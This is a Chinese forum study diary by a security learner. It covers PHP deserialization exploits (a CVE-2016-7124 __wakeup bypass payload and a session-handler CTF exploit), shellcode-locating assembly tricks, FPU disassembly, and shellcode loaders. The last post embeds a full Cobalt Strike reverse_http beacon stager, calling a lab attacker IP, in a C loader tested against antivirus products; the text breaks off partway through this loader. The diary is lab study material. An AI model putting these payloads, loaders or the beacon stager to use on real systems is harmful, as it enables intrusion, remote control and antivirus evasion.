陈艺琳的学习日记

pukr · 发表于 2020-2-18 18:31:19

20.02.18开帖

pukr · 发表于 2020-2-18 23:53:21

本帖最后由 pukr 于 2020-2-18 23:55 编辑

更新一般在hexo博客，托管在github加载有些慢。需要耐心等待= =
https://pukrr.github.io/
等有空把它放coding上

pukr · 发表于 2020-2-19 22:51:23

20.02.19 查找资料的一天，今日无更新。

pukr · 发表于 2020-2-21 00:04:05

本帖最后由 pukr 于 2020-2-21 22:09 编辑

2020.02.20
今日更新https://pukrr.github.io/2020/02/20/%E6%B1%87%E7%BC%96%E8%87%AA%E6%88%91%E5%A4%8D%E5%88%B6%E6%97%A0%E9%99%90%E6%89%A7%E8%A1%8C/#more
和《加密与解密》加密算法部分

pukr · 发表于 2020-2-21 22:33:26

本帖最后由 pukr 于 2020-2-23 23:06 编辑

2020.02.21

php序列化与反序列化

序列化与反序列化的两个函数：

serialize()

unserialize()

1.序列化定义

对象、数组等转化成字符串。

对于存储一个对象，转换成字符串可以实现持久保存和网络传输。

2.serialize()函数

<?php
class test_seralize
{
public $num=5;
private $str='abcd';
var $test = '123';
}
$class1 = new test_seralize;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

复制代码

O:13:"test_seralize":3:{s:3:"num";i:5;s:18:"test_seralizestr";s:4:"abcd";s:4:"test";s:3:"123";}

O指的是这是一个对象（object），13是对象名的长度，”test_serialize”是对象名，3指的是对象中的成员数，{}中的是成员的信息。本例对象中有3个成员，s是string，长度为3，成员名是num，$num的值是整型，值是5。类似的，如果是private类型，则会在成员名前加上对象名，相应字符串长度也会增加，它会在两侧加入空字节。若是protected类型，则会变成“空字节*空字节”即：

所以在传入序列化字符串进行反序列化时需要注意补齐空字节。

2.反序列化

把字符串还原回对象、数组。

函数：unserialize();

<?php
// class test_seralize
// {
// public $num=5;
// private $str='abcd';
// var $test = '123';
// }
// $class1 = new test_seralize;
//$class1_ser = (serialize($class1));
// print_r($class1_ser);
$class2='O:13:"test_seralize":3:{s:3:"num";i:5;s:16:"test_seralizestr";s:4:"abcd";s:4:"test";s:3:"123";}';
echo $class2;
$class2_uns=unserialize($class2);
var_dump($class2_uns);
print_r($class2_uns);
?>

复制代码

3.反序列化漏洞利用

magic methods

https://www.php.net/manual/zh/language.oop5.magic.php

构造函数__construct()：当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

析构函数__destruct()：当对象被销毁时会自动调用。

__wakeup() ：如前所提，unserialize()时会自动调用。

其他常见方法：

__construct()//创建对象时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__invoke() //当脚本尝试将对象调用为函数时触发

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则 NULL 被序列化，并产生一个E_NOTICE 级别的错误。

对象被序列化之前触发，返回需要被序列化存储的成员属性，删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。

预先准备对象资源，返回void，常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

<?php
class test123{
var $test = '123';
function __wakeup(){
echo "__wakeup";
echo "</br>";
}
function __construct(){
echo "__construct";
echo "</br>";
}
function __destruct(){
echo "__destruct";
echo "</br>";
}
}
$class2 = 'O:7:"test123":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>

复制代码

unserialize后会执行__wakeup()函数和析构函数如__destruct()函数。所以理想情况是在类内部就有漏洞代码，这样传参是序列化字符串后反序列化就会调用方法执行漏洞。

class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, sex: %s, age: %d", $this->ID, $this->sex, $this->age);
}
public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, sex: %s, age: %d", $this->ID, $this->sex, $this->age);
}
}
$me = new Caiji('twosmi1e', 'male',20);
$abc=$me->getInfo();
echo "------".$abc."+++++".'<br>';//存在__sleep(函数，$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';
$me = unserialize($temp);//__wakeup()组装的$info
$def=$me->getInfo();
echo "------".$def."+++++".'<br>';
?>

复制代码

__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串，否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this->file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}

复制代码

分析一下源码，__destruct方法中show_source(dirname (__FILE__).'/'.$this->file);会读取file文件内容，我们需要利用这里来读flag.php，思路大概就是构造序列化对象然后base64编码传入，经过unserialize将file设为flag.php，但是__wakeup会在unserialize之前执行，所以要绕过这一点。

CVE-2016-7124

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

构造序列化对象：O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}

绕过__wakeup：O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

注意：因为file是protect属性，所以需要加上\00*\00。再base64编码。

payload：Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

测试demo:

error_reporting(0);
class Twosmil1e{
public $key = 'twosmi1e';
function __destruct(){
if(!empty($this->key)){
if($this->key == 'twosmi1e')
echo 'success';
}
}
function __wakeup(){
$this->key = 'you failed 23333';
echo $this->key;
}
public function __toString(){
return '';
}
}
//$class=new Twosmil1e;
//$test1=serialize($class);
//echo $test1;
if(!isset($_GET['answer'])){
show_source('serialize.php');
}else{
$answer = $_GET['answer'];
echo $answer;
echo '<br>';
echo unserialize($answer);
}

复制代码

正常序列：

O:9:"Twosmil1e":1:{s:3:"key";s:8:"twosmi1e";}

__wakeup先执行，__destroy判断不成立

再改为任意大于1的属性个数：

O:9:"Twosmil1e":2:{s:3:"key";s:8:"twosmi1e";}

session反序列化漏洞

session存储机制

php默认的SESSION会话机制存储在文件系统的会话数据的内容是已经序列化后的内容,程序执行session_start()后PHP会自动读取文件并unserialize反序列化成数组赋值给超全局变量$_SESSION。

session保存在服务器端，放在文件或者数据库中。默认情况下PHP.ini中设置session的保存方式是files(session.save_handler= files)，保存路径是session.save_path的值，文件名由sess_sessionid命名，文件内容是session序列化后的值。

·session.save_path 设置session的存储路径

·session.save_handler 设定用户自定义存储函数

·session.auto_start 指定会话模块是否在请求开始时启动一个会话

·session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php

除了默认的session序列化引擎php外，还有几种引擎，不同引擎存储方式不同

·php_binary 键名的长度对应的ASCII字符＋键名＋经过serialize() 函数反序列处理的值

·php 键名＋竖线＋经过serialize()函数反序列处理的值

·php_serialize serialize()函数反序列处理数组方式

如这是我的数据库课设，打开了session，session默认被保存成php。

php_seralize格式

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'pukr';
?>

复制代码

php_binary格式

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'pukr';
?>

复制代码

三种处理器的存储格式差异，就会造成在session序列化和反序列化处理器设置不当时的安全隐患。

一个题目作为例子。

地址：http://web.jarvisoj.com:32784/index.php

源码：

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

复制代码

观察知，只要传一个GET的phpinfo参数就能$m = new OowoO()，就会执行__construct函数。

http://web.jarvisoj.com:32784/index.php?phpinfo=1

php版本：5.6.21

php大于5.5.4的版本中默认使用php_serialize规则。

序列化和反序列化得处理机制不同，造成数据无法正确反序列化，那么就可以通过构造伪造任意数据。

当session.upload_progress.enabled选项设置为on时，通过查手册：

依照手册的例子做出POST提交文件。

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method=POST enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit" name="sunmit">
</form>
</body>
</html>

复制代码

构造获得字符串：

|O:5:"OowoO":1:{s:4:"mdzz";s:37:"print_r(scandir("/opt/lampp/htdocs"));";}

记得格式，加一道竖杠

获得文件目录。

读取文件信息

简单概述过程，即为：使用session.upload_progress在全局session多一个变量如$_session[‘test’],赋值为|123，则通过php_serialize存储为a:1:{s:4:”test”;s:4:”|123”}

a:1为默认的,s:4:”test”为key，s:4:”|123”为value，而到了index.php,更改了存储方式,以|作为key，value分界线，执行session_start();则123进行了反序列化,而123可控，则可被利用。

pukr · 发表于 2020-2-22 23:36:26

2020.02.22
被PPT支配的一天。

唯一收获shellcode重定位问题又一解决方案，经过试验后明天一起更新。

pukr · 发表于 2020-2-24 00:56:06

2020.02.23

定位shellcode的几种方法

位置无关代码指不使用硬编码寻址的代码，如shellcode。call、jnz、[ebp-4]等都可用于位置无关代码。目标地址=指令地址+指令长度+偏移地址。
所以我们需要一个基址地址来去往shellcode的地址。eip寄存器不能直接使用，所以需要一个通用寄存器来保存基址指针。
获取基址指针的方法如下。

1.call/pop指令
当执行call时，call后面一句指令会被压栈（作为返回地址），然后跳转到call的地址执行。函数执行完后将返回地址pop到eip。
所以可以通过call后立刻执行pop将call后一条指令的地址赋值给指定寄存器。

#include<stdio.h>
main(){
__asm{
call xx
xx:
pop eax
}
}

复制代码

可以看到这样的缺点是会造成很多00存在。

于是改进：

#include<stdio.h>
main(){
__asm{
call xx //为看清变化，在OllyDBG中修改这里
xx:
retn 9058h
ret
}
}

复制代码

E8 00000000改为E8 FFFFFFFF call eip-1
执行后指令顺序发生变化

指令序列变为：
FF C2 inc edx 将edx减1
pop eax 将c2语句的地址出栈到eax，此时堆栈恢复，edx的值比原来少1，eax为c2指令的位置
90 nop

3.浮点运算
浮点运算后将结果保存在栈顶，可通过pop获取其位置。

fldz
fnstenv [esp-0x0c]
pop eax

复制代码

fstenv和fnstenv保存当前FPU到目的操作数指定的内存地址，屏蔽异常。所以该指令的功能是将FPU保存到指定地址，esp-0xc的位置。

这里为什么是0xc，看FPU的定义：
可以看到FIP相对FPU的偏移刚好是12，也就是0xc。这里将FPU保存到exp-0xc，也就是将esp保存在FIP中。接下来通过pop eax指令，将FIP(esp)的值弹出保存到eax。

后面再计算偏移地址即可获得shellcode地址。

4．异常处理型
在Shellcode代码中构建一个异常处理函数，再构造一个异常进入异常处理中获取EIP。
这种方法编写难度稍微大点，也是可行的。

（待我寻找这个方法的应用）

另外，汇编中的整数除法：

#include<stdio.h>
main(){
int fahr,celsius;
int lower,upper,step;
lower =0;
upper=300;
step=20;
fahr=lower;
while(fahr<=upper){
celsius = 5*(fahr-32)/9;
printf("%d\t%d\n",fahr,celsius);
fahr= fahr+step;
}
}

复制代码

有符号整数除法指令 IDIV，此指令进行有符号的除法运算，使用的操作数格式与DIV指令格式相同。在进行8位除法之前，被除数(AX)必须进行符号扩展，余数的符号和被除数总是相同。

那么符号扩展顾名思义其实就是将它的符号位进行扩展，常用指令为CDQ，CWD，CBW
CBW指令是将(字节扩展至字)。这个指令将扩展al的符号位至ah中。
CWD指令是将字符号扩展至双字，将扩展ax的符号位至dx中。
CDQ指令将双字符号扩展至8字节，扩展eax的符号位至edx寄存器中。它实际的作用只是把EDX的所有位都设成EAX最高位的值。也就是说，当EAX <80000000, EDX 为00000000；当EAX >= 80000000， EDX 则为FFFFFFFF。

例如 :
      假设 EAX 是 FFFFFFFB (-5) ，它的第 31 bit (最左边) 是 1，
      执行 CDQ 后， CDQ 把第 31 bit 复制至 EDX 所有 bit
      EDX 变成 FFFFFFFF
      这时候， EDX:EAX 变成 FFFFFFFF FFFFFFFB ，它是一个 64 bit 的大型数字，数值依旧是 -5。
      EDX:EAX,这里表示EDX，EAX连用表示64位数

这些指令常用于扩展被除数，很久前，指令集规定除数必须是被除数的一半长，这个规定一直被沿用。使用IDIV执行除法时，如果除数是32位，这就要求被除数是64位，即EDX:EAX，所以扩展一下EAX以满足除法指令的条件并且得到正确的结果。

pukr · 发表于 2020-2-24 21:31:24

2020.02.24

汇编浮点运算（博客已更新）
https://pukrr.github.io/2020/02/24/%E6%B1%87%E7%BC%96%E6%B5%AE%E7%82%B9%E6%8C%87%E4%BB%A4/

浮点和整型在汇编运算上差异很大，指令、寄存器、出入栈也有区别。

操作浮点数的寄存器

不同于整型数值的寄存器，浮点单元也称作x87 FPU。FPU有 8 个独立寻址的80位寄存器，名称分别为r0, r1, …, r7，他们以堆栈形式组织在一起，统称为寄存器栈，编写浮点指令时栈顶也写为st(0)，最后一个寄存器写作st(7)。
FPU另有3个16位的寄存器，分别为控制寄存器、状态寄存器、标记寄存器（待更新）。

状态寄存器 FST 读取状态寄存器内容fstsw

浮点数表示
浮点数遵照IEEE规定的转换方法
常见指令

#include<stdio.h>
main(){
float a=0;
float b=0;
float c=0;
char *str1="%lf";
/*a=2.50514;
b=1.70369;
//c=a+b;
printf(str1,a+b);*/
__asm{
mov a,40205436h
mov b,3FDA1283h
mov c,3F8E147Ah
fld a
fadd b
sub esp,8
fstp qword ptr [esp]
mov eax,str1
push eax
call printf
add esp,12
};
}

复制代码

除法使用时需要注意：

华氏/摄氏温度转换

#include<stdio.h>
main(){
int fahr,celsius;
int lower,upper,step;
lower =0;
upper=300;
step=20;
fahr=lower;
while(fahr<=upper){
celsius = 5*(fahr-32)/9;
printf("%d\t%d\n",fahr,celsius);
fahr= fahr+step;
}
}

复制代码

00401043 |> /8B4D FC /mov ecx, dword ptr [ebp-4]
00401046 |. |3B4D F0 |cmp ecx, dword ptr [ebp-10]
00401049 |. |7F 34 |jg short 0040107F
0040104B |. |8B45 FC |mov eax, dword ptr [ebp-4]
0040104E |. |83E8 20 |sub eax, 20
00401051 |. |6BC0 05 |imul eax, eax, 5
00401054 |. |99 |cdq
00401055 |. |B9 09000000 |mov ecx, 9
0040105A |. |F7F9 |idiv ecx
0040105C |. |8945 F8 |mov dword ptr [ebp-8], eax
0040105F |. |8B55 F8 |mov edx, dword ptr [ebp-8]
00401062 |. |52 |push edx ; /<%d>
00401063 |. |8B45 FC |mov eax, dword ptr [ebp-4] ; |
00401066 |. |50 |push eax ; |<%d>
00401067 |. |68 1C604200 |push 0042601C ; |format = "%d",TAB,"%d",LF,""
0040106C |. |E8 4F000000 |call printf ; \printf
00401071 |. |83C4 0C |add esp, 0C
00401074 |. |8B4D FC |mov ecx, dword ptr [ebp-4]
00401077 |. |034D EC |add ecx, dword ptr [ebp-14]
0040107A |. |894D FC |mov dword ptr [ebp-4], ecx
0040107D |.^\EB C4 \jmp short 00401043

复制代码

有符号整数除法指令 IDIV，此指令进行有符号的除法运算，使用的操作数格式与DIV指令格式相同。在进行8位除法之前，被除数(AX)必须进行符号扩展，余数的符号和被除数总是相同。
那么符号扩展顾名思义其实就是将它的符号位进行扩展，常用指令为CDQ，CWD，CBW

例如 :
假设 EAX 是 FFFFFFFB (-5) ，它的第 31 bit (最左边) 是 1，
执行 CDQ 后， CDQ 把第 31 bit 复制至 EDX 所有 bit
EDX 变成 FFFFFFFF
这时候， EDX:EAX 变成 FFFFFFFF FFFFFFFB ，它是一个 64 bit 的大型数字，数值依旧是 -5。
EDX:EAX,这里表示EDX，EAX连用表示64位数

这些指令常用于扩展被除数，很久前，指令集规定除数必须是被除数的一半长，这个规定一直被沿用。使用IDIV执行除法时，如果除数是32位，这就要求被除数是64位，即EDX:EAX，所以扩展一下EAX以满足除法指令的条件并且得到正确的结果。

华氏/摄氏温度转换改进版

#include<stdio.h>
main(){
float fahr,celsius;
int lower,upper,step;
lower =0;
upper=300;
step=20;
fahr=lower;
while(fahr<=upper){
celsius = 5.0/9.0 * (fahr-32.0);
printf("%3.0f\t%6.2f\n",fahr,celsius);
fahr= fahr+step;
}
}

复制代码

00401010 >|> \55 push ebp
00401011 |. 8BEC mov ebp, esp
00401013 |. 83EC 54 sub esp, 54
00401016 |. 53 push ebx
00401017 |. 56 push esi
00401018 |. 57 push edi
00401019 |. 8D7D AC lea edi, dword ptr [ebp-54]
0040101C |. B9 15000000 mov ecx, 15
00401021 |. B8 CCCCCCCC mov eax, CCCCCCCC
00401026 |. F3:AB rep stos dword ptr es:[edi]
00401028 |. C745 F4 00000>mov dword ptr [ebp-C], 0
0040102F |. C745 F0 2C010>mov dword ptr [ebp-10], 12C
00401036 |. C745 EC 14000>mov dword ptr [ebp-14], 14
0040103D |. DB45 F4 fild dword ptr [ebp-C]
00401040 |. D95D FC fstp dword ptr [ebp-4]
00401043 |> DB45 F0 /fild dword ptr [ebp-10]
00401046 |. D85D FC |fcomp dword ptr [ebp-4]
00401049 |. DFE0 |fstsw ax
0040104B |. F6C4 01 |test ah, 1
0040104E |. 75 39 |jnz short 00401089
00401050 |. D945 FC |fld dword ptr [ebp-4]
00401053 |. DC25 38604200 |fsub qword ptr [_real]
00401059 |. DC0D 28604200 |fmul qword ptr [_real]
0040105F |. D955 F8 |fst dword ptr [ebp-8]
00401062 |. 83EC 08 |sub esp, 8 ; /<%6.1f>
00401065 |. DD1C24 |fstp qword ptr [esp] ; |
00401068 |. D945 FC |fld dword ptr [ebp-4] ; |
0040106B |. 83EC 08 |sub esp, 8 ; |<%3.0f>
0040106E |. DD1C24 |fstp qword ptr [esp] ; |
00401071 |. 68 28704200 |push 00427028 ; |format = "%3.0f",TAB,"%6.1f",LF,""
00401076 |. E8 45000000 |call printf ; \printf
0040107B |. 83C4 14 |add esp, 14
0040107E |. DB45 EC |fild dword ptr [ebp-14]
00401081 |. D845 FC |fadd dword ptr [ebp-4]
00401084 |. D95D FC |fstp dword ptr [ebp-4]
00401087 |.^ EB BA \jmp short 00401043
00401089 |> 5F pop edi
0040108A |. 5E pop esi
0040108B |. 5B pop ebx
0040108C |. 83C4 54 add esp, 54
0040108F |. 3BEC cmp ebp, esp
00401091 |. E8 5A010000 call _chkesp
00401096 |. 8BE5 mov esp, ebp
00401098 |. 5D pop ebp
00401099 \. C3 retn

复制代码

浮点数不能使用 CMP 指令进行比较，因为后者是通过整数减法来执行比较的。取而代之，必须使用 FCOM 指令。

本例中，先加载最大华氏温度300，然后与[ebp-4]的值进行比较并把300弹出堆栈（fcomp），把浮点数比较的结果放入状态寄存器，使用fstsw指令获得fpu状态寄存器的值并存入ax，再使用test指令对两个参数(ah，1)执行AND逻辑操作，并根据结果设置标志寄存器，完成浮点数比较。

fild dword ptr [ebp-10]
fcomp dword ptr [ebp-4]
fstsw ax
test ah, 1
jnz short 00401089

复制代码

输出时，因为浮点运算完之后会把结果保存在栈顶。

同样，先把栈顶指针esp向上移动，然后fstp将fpu中的操作数弹出来。

sub esp, 8
fstp qword ptr [esp]

复制代码

或者先加载需要的浮点数，再移动栈顶指针esp，再弹出堆栈。

fld dword ptr [ebp-4]
sub esp, 8
fstp qword ptr [esp]

复制代码

pukr · 发表于 2020-2-28 00:03:51

2020.02.25

几种加载shellcode的方法

发表于 2020-02-25 | 分类于基础训练

以弹出计算器为例

lea/call

__asm
{
lea eax,shellcode
call eax
retn
}

复制代码

将shellcode的地址存入eax寄存器后，call eax即可跳转到shellcode地址执行。

lea/push

__asm
{
lea eax,shellcode
push eax
push eax
retn
}

复制代码

将eax进行两次push压栈，栈顶指针esp向上移动两个内存单元，两个内存单元中存的都是shellcode的地址。esp下一个内存单元存储的值是retn地址，故将返回到shellcode的地址。

lea/jmp

原理很简单，先把shellcode地址存入eax，再直接跳转到eax执行。

__asm
{
lea eax,shellcode
jmp eax
}

复制代码

mov offset

__asm
{
mov eax,offset shellcode
jmp eax
}

复制代码

伪指令硬编码

__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}

复制代码

FF E0就是jmp eax的机器码。
强制类型转换成函数指针

((void(*)(void))&shellcode)()

#include "stdio.h"
#include "windows.h"
#pragma comment(linker,"/section:.data,RWE")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker,"/INCREMENTAL:NO")
unsigned char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\x20\xD3\x7B\x75\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
void run1(){
((void(*)(void))&shellcode)();
}
void main(int argc, char* argv[])
{
//WinExec("calc.exe",SW_SHOW);
//calculater
/*__asm{
xor ebx,ebx
push ebx
push 6578652Eh
push 636C6163h
mov eax,esp
push 5h
push eax
//push 5h
mov eax,0x757BD320
call eax
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
mov esp,ebp
pop ebp
sub esp,24
}*/
/*__asm
{
lea eax,shellcode
push eax
//add esp,80
push eax
retn
}*/
run1();
}

复制代码

上述几种方法：

#include "stdio.h"
#include "windows.h"
#pragma comment(linker,"/section:.data,RWE")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker,"/INCREMENTAL:NO")
unsigned char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\x20\xD3\x7B\x75\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
void run1(){
((void(*)(void))&shellcode)();
}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run4();
}

复制代码

pukr · 发表于 2020-2-28 00:09:26

cobalt strike payload加编码

发表于 2020-02-25 | 分类于基础训练

本文介绍利用cobalt strike生成的payload再加自己的编码。

2020-02-25

环境：
攻击机：Win10 192.168.1.118
目标机：Windows 2008 r2-1（火绒） 192.168.1.111
目标机：Windows 2008 r2-2（360） 192.168.1.112

后来我发现360不管加不加编码全程安静如鸡，火绒加两次编码全程报毒。

Cobalt Strike启动

首先启动cobalt strike。在cs所在文件夹打开cmd，输入

teamserver.bat 192.168.1.118 123456

复制代码

然后打开cobaltstrike.bat，见到GUI界面。输入刚刚的ip和密码。

进入CS。

设置监听

然后设置listener（监听器），输入listener的名字并选择listener类型，这里我们类型选择windows/beacon_http/reverse_http。并配置好主机IP和端口。

生成后门

payload可以简单理解为可利用植入后门的代码。

选择攻击->生成后门->payload generator
我们选择C形式输出，并选择之前设置好的监听器。

生成了一串机器码作为shellcode。

然后我们把它放到C程序里运行。

编译运行

#include "stdio.h"
#include "windows.h"
#pragma comment(linker,"/section:.data,RWE")
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
#pragma comment(linker,"/INCREMENTAL:NO")
char shellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52"
"\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1"
"\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b"
"\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
"\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07"
"\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00"
"\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb3\x15\x00\x00\x53\x50\x68\x57\x89"
"\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52"
"\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53"
"\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6"
"\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31"
"\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f"
"\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b"
"\xff\xff\xff\x2f\x76\x4e\x57\x41\x00\xa4\x82\x36\xe9\x5d\x2f\x17\x46\xa9\xa8\xdc"
"\x28\x7a\xd2\x31\xae\x57\xfd\x83\x4b\x56\x0a\x61\x21\xa3\xbc\x95\x56\x1f\x8f\xce"
"\x30\xb8\x70\x02\x62\x4c\x92\x8f\x98\x74\xce\x72\xa5\xf3\x98\xab\x0b\xcb\xc3\x00"
"\x1c\x6e\xd0\x04\xfc\x44\x81\x2f\x00\x8c\xc0\x56\x7a\x9d\x47\x8f\x3b\x24\x55\x6a"
"\xbb\x20\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c"
"\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20"
"\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54"
"\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x29\x0d\x0a"
"\x00\xd8\xd7\x51\xc4\x66\xd3\xb8\x15\xce\xc6\xa1\x78\xaf\x55\x52\x13\xbb\x4f\x2c"
"\xd6\xe6\x00\x67\x91\x12\xd8\x7f\xe0\x71\x8b\x6d\x8b\x43\x4d\x10\xc0\xe9\x93\x66"
"\x8e\x31\xe6\xb9\x32\x80\x75\x1c\xef\xca\x4a\xaa\x94\x14\x30\x21\x08\x3a\xab\x3d"
"\xc2\xe1\xc4\x47\x13\x18\xa3\xf5\xad\x51\x6a\xa8\x93\x08\x49\x98\x16\x54\xac\x81"
"\xbb\xbe\xf8\x71\xe3\x6a\x2a\xf5\xa6\x85\xf9\x9f\xdc\x69\x6c\x20\x93\x9b\xda\x07"
"\x28\x15\xb2\x14\x2c\xfc\x55\xb8\x87\x7b\x64\xd6\xa1\x4e\xaf\x6a\x76\x2e\x74\x2e"
"\x8f\x62\xda\xe5\x98\xa0\x88\xe2\x6f\xb0\xd2\xa5\x25\xe5\x4a\xa6\x44\x16\x92\x94"
"\x19\x81\x3b\x72\x11\xde\x98\x65\xae\xb5\x68\xd9\xcc\x65\xb8\x86\x0d\x78\x91\x7f"
"\xf9\x14\xe5\xf3\xc6\x37\x75\x76\xf8\xfc\x85\xa9\xa1\xa0\x5a\xa1\x14\x39\x57\x30"
"\xa0\xec\x44\xd8\x1e\xcb\xc8\xe2\xa7\x71\x24\xbe\x3a\x18\xe0\xb1\x5d\x51\x75\x0e"
"\xc4\x53\x22\x6e\xca\x51\x51\x61\x57\x5a\x1d\x38\x65\x03\x1e\xa7\xcc\x23\xcf\x14"
"\xf3\x85\x52\xec\x80\x11\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00"
"\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00"
"\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff"
"\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff"
"\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x31\x38\x00\x6f\xaa\x51\xc3";
void run1(){
((void(*)(void))&shellcode)();
